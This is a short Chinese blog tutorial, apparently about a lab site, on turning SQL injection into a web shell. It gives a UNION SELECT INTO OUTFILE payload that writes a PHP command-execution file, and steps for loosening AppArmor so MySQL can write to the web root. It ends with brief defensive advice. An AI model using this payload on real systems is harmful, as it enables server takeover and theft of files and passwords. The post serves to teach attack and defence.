web安全:sql 注入

sql注入获取webshell
寻找sql注入页面,操作数据库的地方
向网站写入sql语句
' union select 1,2, '<?php system($_GET["cmd"]);?>' into outfile '/var/www/myzoo/cmd.php'

发现mysql没有写入权限,于是在apparmor中为mysql添加权限
vi /etc/apparmor.d/usr.sbin.mysqld
在文件最后添加:/var/www/myzoo/* rw,
然后重启apache重启apparmor
重新注入

*一般来说,嗅探1,2需要采用benchmark函数,根据返回时间来判断数据库表结构
*本网站是直接暴露数据库表结构的

于是在网站根目录写入了cmd.php文件
利用此文件执行我们想要做的事情
比如:查看服务器所有文件密码或者其他的

防御sql注入获取webshell:
 
1.如果在编写SQL语句的时候,用户输入的变量不是直接嵌入到SQL语句。而是通过参数来传递这个变量的话,那么就可以有效的防治SQL注入式攻击。也就是说,用户的输入绝对不能够直接被嵌入到SQL语句中。与此相反,用户的输入的内容必须进行过滤,或者使用参数化的语句来传递用户输入的变量。

2.普通用户和系统用户权限设置

3.正则表达式验证用户输入,等等。
 
hash冲突dos网站攻击下次更新了

========================if i have some wrong, please give me a message, thx.========================
原文地址:https://www.cnblogs.com/ailx10/p/5251739.html